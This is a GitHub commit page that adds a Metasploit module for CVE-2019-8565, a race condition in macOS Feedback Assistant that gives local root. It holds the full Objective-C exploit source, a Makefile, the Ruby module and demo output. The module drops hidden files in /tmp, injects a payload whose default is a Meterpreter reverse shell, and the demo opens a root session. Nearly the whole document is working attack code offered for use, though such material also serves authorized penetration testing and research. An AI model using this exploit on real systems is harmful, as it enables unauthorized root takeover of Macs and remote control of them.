Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #11818, Add CVE-2019-8565 OSX Feedback Assistant local root exploit
- Loading branch information
Showing
5 changed files
with
367 additions
and
0 deletions.
There are no files selected for viewing
Binary file not shown.
33 changes: 33 additions & 0 deletions
33
documentation/modules/exploit/osx/local/feedback_assistant_root.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Original file line | Diff line number | Diff line change |
---|---|---|---|
@@ -0,0 +1,33 @@ | |||
## Background | |||
|
|||
This module exploits a race condition in MacOS' Feedback Assistant, which would lead to root local | |||
privilege escalation. | |||
|
|||
## Demo | |||
|
|||
``` | |||
msf5 exploit(osx/local/feedback_assistant_root) > check | |||
[*] The target appears to be vulnerable. | |||
msf5 exploit(osx/local/feedback_assistant_root) > run | |||
[*] Started reverse TCP handler on 172.16.135.1:5555 | |||
[*] Uploading file: '/tmp/.fjbgrf' | |||
[*] Uploading file: '/tmp/.fljhjbwe' | |||
[*] Executing exploit '/tmp/.fljhjbwe' | |||
[*] Transmitting first stager...(210 bytes) | |||
[*] Exploit result: | |||
2019-05-20 10:36:13.749 .fljhjbwe[1059:12661] [LightYear] canary: /usr/local/bin/netdiagnose | |||
2019-05-20 10:36:13.749 .fljhjbwe[1059:12661] [LightYear] dictionary: { | |||
"/var/log/../../../var/folders/bg/sp3s48cs1zn3yvtgjrn6ggs00000gn/T/44E5C7D8-2B40-472C-9073-F734E924F662-1059-000002240EBB72B8/bin/root.sh" = "/tmp/../../usr/local/bin/netdiagnose"; | |||
} | |||
2019-05-20 10:36:13.750 .fljhjbwe[1059:12661] [LightYear] Now race | |||
2019-05-20 10:36:13.881 .fljhjbwe[1059:12661] [LightYear] Stage 1 succeed | |||
2019-05-20 10:36:14.099 .fljhjbwe[1059:12663] [LightYear] It works! | |||
[*] Transmitting second stager...(8192 bytes) | |||
[*] Sending stage (808504 bytes) to 172.16.135.130 | |||
[*] Meterpreter session 2 opened (172.16.135.1:5555 -> 172.16.135.130:49256) at 2019-05-20 12:36:14 -0500 | |||
meterpreter > getuid | |||
Server username: uid=0, gid=0, euid=0, egid=0 | |||
meterpreter > | |||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Original file line | Diff line number | Diff line change |
---|---|---|---|
@@ -0,0 +1,19 @@ | |||
SRC = exploit.m | |||
OUTPUT = bin/exploit | |||
|
|||
.PHONY: exec | |||
|
|||
exec: $(SRC) | |||
@mkdir -p bin | |||
clang $(SRC) -framework Foundation -o $(OUTPUT) | |||
|
|||
run: exec | |||
$(OUTPUT) | |||
|
|||
format: | |||
clang-format -i $(SRC) | |||
|
|||
install: | |||
mkdir -p ../../../../data/exploits/CVE-2019-8565/ | |||
cp $(OUTPUT) ../../../../data/exploits/CVE-2019-8565/exploit | |||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Original file line | Diff line number | Diff line change |
---|---|---|---|
@@ -0,0 +1,210 @@ | |||
#import <Foundation/Foundation.h> | |||
|
|||
#include <notify.h> | |||
#include <spawn.h> | |||
#include <sys/stat.h> | |||
|
|||
#define USR_LOCAL_BIN "/usr/local/bin" | |||
#define BINARY "/System/Library/CoreServices/Applications/Feedback Assistant.app/Contents/MacOS/Feedback Assistant" | |||
|
|||
#define MOBILITY_SCRIPT \ | |||
"/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/Resources/get-mobility-info" | |||
#define NOTIFY_NAME "me.chichou.fbaroot" | |||
|
|||
#define LOG(fmt, ...) NSLog(@"[LightYear] " fmt "\n", ##__VA_ARGS__) | |||
|
|||
char payload_cmd[1024] = "ROOT_PAYLOAD_PLACEHOLDER"; | |||
|
|||
#define SHELL_TEMPLATE \ | |||
@"#!/bin/sh\n" \ | |||
"%@\n" \ | |||
"%@\n" \ | |||
"rm -- \"$0\"\n" | |||
|
|||
@protocol FBAPrivilegedDaemon <NSObject> | |||
- (void)copyLogFiles:(NSDictionary *)mapping; | |||
- (void)runMobilityReportWithDestination:(NSURL *)dest; | |||
@end | |||
|
|||
extern char **environ; | |||
|
|||
void child(const char *path, int stage) { | |||
NSDictionary *transformed = [[NSDictionary alloc] initWithContentsOfFile:[NSString stringWithUTF8String:path]]; | |||
NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"com.apple.appleseed.fbahelperd" | |||
options:NSXPCConnectionPrivileged]; | |||
connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(FBAPrivilegedDaemon)]; | |||
[connection resume]; | |||
id remote = connection.remoteObjectProxy; | |||
if (stage == 1) | |||
[remote copyLogFiles:[NSDictionary dictionaryWithDictionary:transformed]]; | |||
|
|||
else if (stage == 2) | |||
[remote runMobilityReportWithDestination:[NSURL fileURLWithPath:@"/tmp/whatever.mdsdiagnostic"]]; | |||
|
|||
char target_binary[] = BINARY; | |||
char *target_argv[] = {target_binary, NULL}; | |||
posix_spawnattr_t attr; | |||
posix_spawnattr_init(&attr); | |||
short flags; | |||
posix_spawnattr_getflags(&attr, &flags); | |||
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED); | |||
posix_spawnattr_setflags(&attr, flags); | |||
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ); | |||
} | |||
|
|||
NSString *relative(NSString *component) { | |||
return [[[NSBundle mainBundle] bundlePath] stringByAppendingPathComponent:component]; | |||
} | |||
|
|||
NSMutableDictionary *traversal(NSDictionary *mapping) { | |||
NSMutableDictionary *transformed = [[NSMutableDictionary alloc] init]; | |||
for (NSString *key in mapping) { | |||
NSString *val = mapping[key]; | |||
NSString *newKey = [@"/var/log/../../.." stringByAppendingPathComponent:key]; | |||
NSString *newVal = [@"/tmp/../.." stringByAppendingPathComponent:val]; | |||
transformed[newKey] = newVal; | |||
} | |||
return transformed; | |||
} | |||
|
|||
NSDictionary *prepare() { | |||
NSError *err = nil; | |||
NSFileManager *mgr = [NSFileManager defaultManager]; | |||
NSString *guid = [[NSProcessInfo processInfo] globallyUniqueString]; | |||
NSString *cwd = [NSTemporaryDirectory() stringByAppendingPathComponent:guid]; | |||
[mgr removeItemAtPath:cwd error:nil]; | |||
|
|||
NSString *fakebin = [cwd stringByAppendingPathComponent:@"bin"]; | |||
[mgr createDirectoryAtPath:fakebin withIntermediateDirectories:YES attributes:nil error:&err]; | |||
|
|||
// argument for copyLogFiles: | |||
NSMutableDictionary *mapping = [[NSMutableDictionary alloc] init]; | |||
|
|||
// write launcher | |||
NSString *launcher = [fakebin stringByAppendingPathComponent:@"root.sh"]; | |||
|
|||
NSString *payload = [NSString stringWithCString:payload_cmd encoding:NSASCIIStringEncoding]; | |||
NSString *exec = [[NSBundle mainBundle] executablePath]; | |||
NSString *sh = [NSString stringWithFormat:SHELL_TEMPLATE, exec, payload]; | |||
[sh writeToFile:launcher atomically:NO encoding:NSUTF8StringEncoding error:&err]; | |||
// LOG(@"%@\n%@", sh, err); | |||
|
|||
// find /usr/local/bin/* | |||
NSString *mobility = [NSString stringWithContentsOfFile:@MOBILITY_SCRIPT encoding:NSUTF8StringEncoding error:&err]; | |||
NSRegularExpression *regex = [NSRegularExpression regularExpressionWithPattern:@"if \\[ -x /usr/local/bin/(\\w+)" | |||
options:NSRegularExpressionCaseInsensitive | |||
error:&err]; | |||
NSTextCheckingResult *match = [regex firstMatchInString:mobility options:0 range:NSMakeRange(0, [mobility length])]; | |||
if (!match) { | |||
LOG("Fatal error: this exploit may not work on your system."); | |||
return nil; | |||
} | |||
|
|||
NSString *privileged = [mobility substringWithRange:[match rangeAtIndex:1]]; | |||
NSString *canary = [@USR_LOCAL_BIN stringByAppendingPathComponent:privileged]; | |||
|
|||
LOG("canary: %@", canary); | |||
|
|||
BOOL isDir = NO; | |||
BOOL doesBrewExists = [mgr fileExistsAtPath:@USR_LOCAL_BIN isDirectory:&isDir]; | |||
if (doesBrewExists && isDir) { | |||
mapping[launcher] = canary; | |||
} else { | |||
mapping[fakebin] = @USR_LOCAL_BIN; | |||
} | |||
|
|||
NSString *session = [cwd stringByAppendingPathComponent:@"task.plist"]; | |||
NSDictionary *transformed = traversal(mapping); | |||
[transformed writeToFile:session atomically:NO]; | |||
LOG("dictionary: %@", transformed); | |||
return @{@"session" : session, @"canary" : canary}; | |||
} | |||
|
|||
#define RACE_COUNT 16 | |||
|
|||
#define SPAWN_CHILDREN(stage) \ | |||
for (int i = 0; i < RACE_COUNT; i++) \ | |||
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ session, @ #stage ]]; | |||
|
|||
#define TERMINATE_CHILDREN \ | |||
for (int i = 0; i < RACE_COUNT; i++) \ | |||
[processes[i] terminate]; | |||
|
|||
int exploit(NSString *session, const char *canary) { | |||
int status = 0; | |||
NSString *exec = [[NSBundle mainBundle] executablePath]; | |||
NSTask *processes[RACE_COUNT]; | |||
|
|||
LOG("Now race"); | |||
SPAWN_CHILDREN(1); | |||
|
|||
int i = 0; | |||
struct timespec ts = { | |||
.tv_sec = 0, | |||
.tv_nsec = 500 * 1000000, | |||
}; | |||
|
|||
while (access(canary, F_OK) == -1) { | |||
nanosleep(&ts, NULL); | |||
if (++i > 4) { // wait for 2 seconds at most | |||
LOG("Stage 1 timed out, retry"); | |||
status = -1; | |||
goto cleanup; | |||
} | |||
} | |||
|
|||
chmod(canary, 0777); | |||
|
|||
LOG("Stage 1 succeed"); | |||
dispatch_semaphore_t semaphore = dispatch_semaphore_create(0); | |||
int token; | |||
notify_register_dispatch(NOTIFY_NAME, &token, dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), | |||
^(int token) { | |||
LOG("It works!"); | |||
dispatch_semaphore_signal(semaphore); | |||
notify_cancel(token); | |||
}); | |||
SPAWN_CHILDREN(2); | |||
|
|||
// wait for 2s | |||
dispatch_time_t timeout = dispatch_time(DISPATCH_TIME_NOW, 2.0 * NSEC_PER_SEC); | |||
status = dispatch_semaphore_wait(semaphore, timeout); | |||
if (status != 0) | |||
LOG("Timed out"); | |||
|
|||
cleanup: | |||
TERMINATE_CHILDREN | |||
return status; | |||
} | |||
|
|||
int root() { | |||
notify_post(NOTIFY_NAME); | |||
LOG("I am groot (euid: %d)", geteuid()); | |||
LOG("bye"); | |||
return 0; | |||
} | |||
|
|||
int main(int argc, char *argv[]) { | |||
@autoreleasepool { | |||
if (geteuid()) { | |||
if (argc == 3) { | |||
child(argv[1], atoi(argv[2])); | |||
return 0; | |||
} | |||
|
|||
NSDictionary *ctx = prepare(); | |||
if (!ctx) | |||
return 1; | |||
|
|||
for (int i = 0; i < 3; i++) { | |||
if (exploit(ctx[@"session"], [ctx[@"canary"] UTF8String]) == 0) | |||
return 0; | |||
} | |||
|
|||
LOG("all tries failed"); | |||
return 1; | |||
} else { | |||
return root(); | |||
} | |||
} | |||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Original file line | Diff line number | Diff line change |
---|---|---|---|
@@ -0,0 +1,105 @@ | |||
## | |||
# This module requires Metasploit: https://metasploit.com/download | |||
# Current source: https://github.com/rapid7/metasploit-framework | |||
## | |||
|
|||
class MetasploitModule < Msf::Exploit::Local | |||
Rank = ExcellentRanking | |||
|
|||
include Msf::Post::File | |||
include Msf::Post::OSX::Priv | |||
include Msf::Post::OSX::System | |||
include Msf::Exploit::EXE | |||
include Msf::Exploit::FileDropper | |||
|
|||
def initialize(info = {}) | |||
super(update_info(info, | |||
'Name' => 'Mac OS X Feedback Assistant Race Condition', | |||
'Description' => %q{ | |||
This module exploits a race condition vulnerability in Mac's Feedback Assistant. | |||
A successful attempt would result in remote code execution under the context of | |||
root. | |||
}, | |||
'License' => MSF_LICENSE, | |||
'Author' => [ | |||
'CodeColorist', # Discovery and exploit | |||
'timwr', # Metasploit module | |||
], | |||
'References' => [ | |||
['CVE', '2019-8565'], | |||
['URL', 'https://medium.com/0xcc/rootpipe-reborn-part-ii-e5a1ffff6afe'], | |||
['URL', 'https://support.apple.com/en-in/HT209600'], | |||
['URL', 'https://github.com/ChiChou/sploits'], | |||
], | |||
'SessionTypes' => [ 'meterpreter', 'shell' ], | |||
'Platform' => [ 'osx', 'python', 'unix' ], | |||
'DefaultTarget' => 0, | |||
'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' }, | |||
'Targets' => [ | |||
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ], | |||
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ], | |||
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ], | |||
], | |||
'DisclosureDate' => 'Apr 13 2019')) | |||
register_advanced_options [ | |||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) | |||
] | |||
end | |||
|
|||
def upload_executable_file(filepath, filedata) | |||
print_status("Uploading file: '#{filepath}'") | |||
write_file(filepath, filedata) | |||
chmod(filepath) | |||
register_file_for_cleanup(filepath) | |||
end | |||
|
|||
def check | |||
version = Gem::Version.new(get_system_version) | |||
if version >= Gem::Version.new('10.14.4') | |||
CheckCode::Safe | |||
else | |||
CheckCode::Appears | |||
end | |||
end | |||
|
|||
def exploit | |||
if check != CheckCode::Appears | |||
fail_with Failure::NotVulnerable, 'Target is not vulnerable' | |||
end | |||
|
|||
if is_root? | |||
fail_with Failure::BadConfig, 'Session already has root privileges' | |||
end | |||
|
|||
unless writable? datastore['WritableDir'] | |||
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" | |||
end | |||
|
|||
case target['Arch'] | |||
when ARCH_X64 | |||
payload_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}" | |||
binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded) | |||
upload_executable_file(payload_file, binary_payload) | |||
root_cmd = payload_file | |||
when ARCH_PYTHON | |||
root_cmd = "echo \"#{payload.encoded}\" | python" | |||
else | |||
root_cmd = payload.encoded | |||
end | |||
root_cmd = root_cmd + " & \0" | |||
if root_cmd.length > 1024 | |||
fail_with Failure::PayloadFailed, "Payload size (#{root_cmd.length}) exceeds space in payload placeholder" | |||
end | |||
|
|||
exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2019-8565", "exploit" )) | |||
placeholder_index = exploit_data.index('ROOT_PAYLOAD_PLACEHOLDER') | |||
exploit_data[placeholder_index, root_cmd.length] = root_cmd | |||
|
|||
exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}" | |||
upload_executable_file(exploit_file, exploit_data) | |||
|
|||
print_status("Executing exploit '#{exploit_file}'") | |||
result = cmd_exec(exploit_file) | |||
print_status("Exploit result:\n#{result}") | |||
end | |||
end |